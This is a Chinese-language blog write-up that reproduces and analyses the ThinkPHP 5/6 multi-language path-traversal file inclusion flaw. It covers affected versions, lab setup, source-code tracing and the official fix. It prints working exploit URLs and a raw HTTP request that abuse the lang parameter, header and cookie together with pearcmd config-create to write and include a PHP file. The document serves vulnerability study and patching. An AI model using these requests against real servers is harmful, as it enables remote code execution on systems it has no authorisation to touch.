当前位置:   article > 正文

Thinkphp5~6多语言文件包含到rce漏洞复现and详细分析解析_php5.6漏洞

php5.6漏洞

Thinkphp5~6多语言文件包含到rce漏洞复现and详细分析解析


目录

0x00 前言

0x01影响范围

0x02 thinkphp5环境搭建and复现

2.1 rce

0x03 thinkphp6复现

0x04 thinkphp5 分析

0x05 thinkphp6 分析

0x06总结

0x07 修复

0x08 参考


 

0x00 前言

如果有错误的地方请各位师傅们指正

0x01影响范围

存在漏洞的版本

Thinkphp,v6.0.1~v6.0.13,v5.0.x,v5.1.x

不存在漏洞的版本

ThinkPHP >= 6.0.14
ThinkPHP >= 5.1.42

0x02 thinkphp5环境搭建and复现

这里我从官网下载ThinkPHP5.0.24完整版

https://www.thinkphp.cn/down/1278.html

然后将网站路径指定到public下访问

然后打开多语言功能,配置文件可能在下方两个文件中,手册

多语言 · ThinkPHP5.0完全开发手册 · 看云

  1. config/app.php
  2. application/config.php

'lang_switch_on'         => true,

由于他只能包含php文件所以这里我们在想要包含的地方建立一个php文件,我这里是跟application同级目录下新建了一个test.php

然后包含,成功执行

http://127.0.0.1/?lang=../../test

2.1 rce

要想rce需要通过pearcmd,什么是pearcmd可以看一下我下面这个之前的文章,pearcmd 官方的php docker容器里面是自带的,在PHP7.3及以前是默认安装的,在PHP7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。

所以这里我用docker演示,包含测试一下是否有pearcmd,返回报错信息就代表存在

http://10.68.1.3:5690/?lang=../../../../../../../../usr/local/lib/php/pearcmd

在tmp目录下生成一个mo60.php的文件,这里使用burp抓包,直接url中get传参会把<这些字符自动编码

http://10.68.1.3:5690/?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=phpinfo()?>+/tmp/mo60.php

然后包含即可

http://10.68.1.3:5690/?lang=../../../../../../../../tmp/mo60

0x03 thinkphp6复现

直接docker起

docker run -it -d -p 7070:80  vulfocus/thinkphp:6.0.12

thinkphp6打开多语言功能是在 app/middleware.php里配置,手册地址

多语言 · ThinkPHP6.0完全开发手册 · 看云

  1. <?php
  2. // 全局中间件定义文件
  3. return [
  4. // 全局请求缓存
  5. // \think\middleware\CheckRequestCache::class,
  6. // 多语言加载
  7. \think\middleware\LoadLangPack::class,
  8. // Session初始化
  9. // \think\middleware\SessionInit::class
  10. ];

查看一下

这里按上面tp5的方式来还是调用pearcmd来rce但是通过cookie来传值在tmp目录下生成一个mo60.php的文件

  1. GET /public/index.php?+config-create+/<?=phpinfo()?>+/tmp/mo60.php HTTP/1.1
  2. Host: host
  3. accept: */*
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
  5. DNT: 1
  6. Accept-Encoding: gzip, deflate
  7. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  8. Content-Length: 0
  9. think-lang:../../../../../../../../usr/local/lib/php/pearcmd
  10. Cookie: think_lang=zh-cn;
  11. Connection: close

可以把cookie里面的think-lang修改为

think-lang:../../../../../../../../tmp/mo60

又或者通过get传入

lang=../../../../../../../../tmp/mo60

0x04 thinkphp5 分析

thinkphp\library\think\App.php

如果多语言是开启状态会调用Lang::detect方法然后调用Lang::load进行加载语言包这里就是文件包含的位置,我们可控的参数是$request->langset(),可控的值是通过$Lang::range()获取的

来到 thinkphp\library\think\Lang.php看看range方法,返回当前类的range成员变量的值

这个值默认为zh-cn

现在我们来看看detect方法,先是从get或者cookie获取值然后赋值给::$range变量

我们在detect方法return前下个断点然后访问

http://127.0.0.1/?lang=../../test

可以看到传入的../../test给到了$langSet然后赋值给::$range

回到thinkphp\library\think\App.php接下来就是 Lang::load去加载了

就是包含我们传入的路径

这个EXT常量的值是.php

  1. THINK_PATH . 'lang' . DS . $request->langset() . EXT,
  2. APP_PATH . 'lang' . DS . $request->langset() . EXT,

给Lang::load打个断点可以看到我们传入的值

然后对我们传入的文件路径进行包含

最后就是成功执行我们的test.php内容

0x05 thinkphp6 分析

这里使用上面复现的docker里面的6.0.12版本

app/middleware.php开启多语言

还是新建了一个test.php跟app目录同级

每个 middleware 的 handle 函数都会被调用vendor\topthink\framework\src\think\middleware\LoadLangPack.php在方法第一行调用了detect

跟到detect,跟tp5也差不多判断 GET["lang"] 、HEADER["think-lang"] 、COOKIE["think_lang"]是否有值,然后判断是否在运行的语言里$this->config['allow_lang_list']这个变量默认为空然后将值返回

在detect返回的地方下个断点然后访问,可以看到返回的值就是我们传入的值

http://127.0.0.1/public/?lang=../../../../../test

回到handle函数,通过detect返回的 $langset 不等于默认的语言zh-cn,那么就会调用 $this->lang->switchLangSet($langset)

跟到vendor\topthink\framework\src\think\Lang.php switchLangSet函数,调用了load方法,

经过拼接这里的路径为F:\phpstudy_pro\WWW\vendor\topthink\framework\src\lang\../../../../../test.php

跟到load函数可以看到直接将传入的参数作为文件名,先判断文件在不在,如果在就传入parse中

跟到parse可以看到先获取后缀名如果为php就进行文件包含:

0x06总结

参考自p牛

ThinkPHP为了支持多语言,会根据用户提供的lang参数来加载对应的语言包。例如:lang参数值为英文,那么系统就会加载en-us.php文件;如果是中文,那么就会加载zh-cn.php文件。由于ThinkPHP没有对lang参数进行检查,我们可以通过使用"../"来跨越目录从而包含其他目录下的PHP文件。

大概代码就是如下:

  1. <?php
  2. include LANG_DIR . $_REQUEST['lang'] . ".php";
  3. ?>

要getshell的话还是需要满足很多条件,如果存在其他无法被直接访问的存在漏洞的组件也可以利用。

0x07 修复

官方在几个月前已修复:

删除废弃方法 优化多语言检测 · top-think/framework@c4acb8b · GitHub

0x08 参考

Thinkphp 多语言 RCE - 跳跳糖

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/IT小白/article/detail/1011043
推荐阅读
相关标签
  

闽ICP备14008679号